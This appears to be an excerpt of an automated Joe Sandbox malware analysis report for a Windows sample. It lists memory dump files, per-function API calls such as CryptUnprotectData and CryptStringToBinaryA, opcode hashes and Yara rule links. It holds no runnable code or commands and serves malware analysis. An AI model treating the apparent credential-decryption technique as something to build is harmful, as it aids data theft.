Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: :z~z$:#>$>l~$FX$Vwq
API String ID: 0-3269101445
Opcode ID: 1cccac6ddbbadb1a32270aabc925bfc2a50eb292b99be4a810d41af1a0716f2d
Instruction ID: acfbbe8c8f4e027ffcae317531b330301ac8b1fb978a392125f2fb091ba20f87
Opcode Fuzzy Hash: 1cccac6ddbbadb1a32270aabc925bfc2a50eb292b99be4a810d41af1a0716f2d
Instruction Fuzzy Hash: 7EB205F3A0C6109FE304AF29DC8567AFBE5EF94720F1A893DEAC5C3744E63558018696

Function 00AC7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00AC724D
RtlAllocateHeap.NTDLL(00000000), ref: 00AC7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00AC7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00AC72A4
LocalFree.KERNEL32(?), ref: 00AC72AE

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 07ca8d8e62a1ac09226a125472dffa7e0d24c2e95e8f4c72aba24f79090dd509
Instruction ID: e25935ad1591c15878e2aecb986d8e017af9999595d1cb7cef1fa6c32cff47e9
Opcode Fuzzy Hash: 07ca8d8e62a1ac09226a125472dffa7e0d24c2e95e8f4c72aba24f79090dd509
Instruction Fuzzy Hash: 07010075A40308BBEB10DBD8DD45F9D7778AB44700F108159FB09EB2C0D6B0AA018B65

Function 6CBF6CF0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CBF6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CBF6E1E

Strings

7S+Y/, xrefs: 6CBF6D04

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID: 7S+Y/
API String ID: 4169067295-4163584386
Opcode ID: fa52f17839055d1b89324b8ba9f2ea9211acd52395b9bf205e00c8e20e756db9
Instruction ID: d0bc74226d135998a6ad19de73796c14e5c6040be6d55ce4ad16536852eef7c7
Opcode Fuzzy Hash: fa52f17839055d1b89324b8ba9f2ea9211acd52395b9bf205e00c8e20e756db9
Instruction Fuzzy Hash: 44A17E746183808FDB15CF24C4907AEBBF2FF99308F04895DE89A87751DB70A849CB92

Function 6CC2545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CC28A4B

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: e31d8ed4a2dccc979db1500f1fc508aed6cbbe349e8d2ab69c1db36c9d4ee679
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 3AB1D972E0021A8FDB14CF68CC91BD9B7B2FF95314F1802A9C549DB795E734A985CB90

Function 6CC2542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CC288F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CC2925C

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 6b3a2290e42097afe57a4268983f14344742a56b10ed53ad638cfeef80ec1c62
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 89B1B776E012068FDB14CF58CC91AEDB7B2EF95314F140279C549DBB85E734A989CB90

Function 00AD8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00AC5184,40000001,00000000,00000000,?,00AC5184), ref: 00AD8EC0

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: fc8afbcbb76223a4131fae67dd063f7a2d95db3175de553490e18060e01034ba
Instruction ID: fe62871f955cd8d17001e7cf17447be975b6222805e8f54d4e5031598cbc465d
Opcode Fuzzy Hash: fc8afbcbb76223a4131fae67dd063f7a2d95db3175de553490e18060e01034ba
Instruction Fuzzy Hash: C211B074600209BBDB00CF68E885FAA37BAAF89714F109559F91ACB350DB79E941DB60

Function 00AC9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00AC4EEE,00000000,00000000), ref: 00AC9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00AC4EEE,00000000,?), ref: 00AC9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00AC4EEE,00000000,00000000), ref: 00AC9B2A
LocalFree.KERNEL32(?,?,?,?,00AC4EEE,00000000,?), ref: 00AC9B3F

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 96880ce15a54d305ebfab454ae1ab4e0f7338fc0293ffb3295477835647aa0b7
Instruction ID: 7a9a5e8a608aa351fb07a44ab017f1f6bf4aa5c133508b2c698e2225646bbfe9
Opcode Fuzzy Hash: 96880ce15a54d305ebfab454ae1ab4e0f7338fc0293ffb3295477835647aa0b7
Instruction Fuzzy Hash: 0A1160B4641308AFEB10CF64DC95FAA77B5EB89714F208158F9199B390C7B6AD41CBA0

Function 00AD7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00AE0E00,00000000,?), ref: 00AD79B0
RtlAllocateHeap.NTDLL(00000000), ref: 00AD79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00AE0E00,00000000,?), ref: 00AD79C4
wsprintfA.USER32 ref: 00AD79F3

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 3c02c00d40be3521e655bb663b952b09a9dd5aa6d415099ed30af00534d4d949
Instruction ID: f8cbe65fa0a36f2694ff2767fa5d5b9c447f37e066582e57f566e9331d8aac2c
Opcode Fuzzy Hash: 3c02c00d40be3521e655bb663b952b09a9dd5aa6d415099ed30af00534d4d949
Instruction Fuzzy Hash: 1B1127B2904218ABCB14DFDADD45BBEB7F8FB4CB11F10421AF605A2280E2395940CBB1

Function 00AD3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00ADE118,00000000,00000001,00ADE108,00000000), ref: 00AD3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00AD37B0

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 04d3f8f332d36add7e0c4461070d2b7d06072af0cca9288d569e65b6f88cc222
Instruction ID: 837c61fa2be15796ab7cb78fd38500014657c0fb18a015622739de14285d2ead
Opcode Fuzzy Hash: 04d3f8f332d36add7e0c4461070d2b7d06072af0cca9288d569e65b6f88cc222
Instruction Fuzzy Hash: E2411871A00A28AFDB24DB58CC84B9BB7B4BB48302F4081D9E609EB2D0D7716E85CF50

Function 00E92785 Relevance: 4.2, Strings: 2, Instructions: 1715COMMON

Download Yara Rule

Strings

\+}}, xrefs: 00E934B3
CDD, xrefs: 00E9327C

Memory Dump Source

Source File: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: \+}}$CDD
API String ID: 0-2922391456
Opcode ID: 469485d4828778b63d9f0d07137f6cfd8c6f32a719346688c382f5620d34aeee
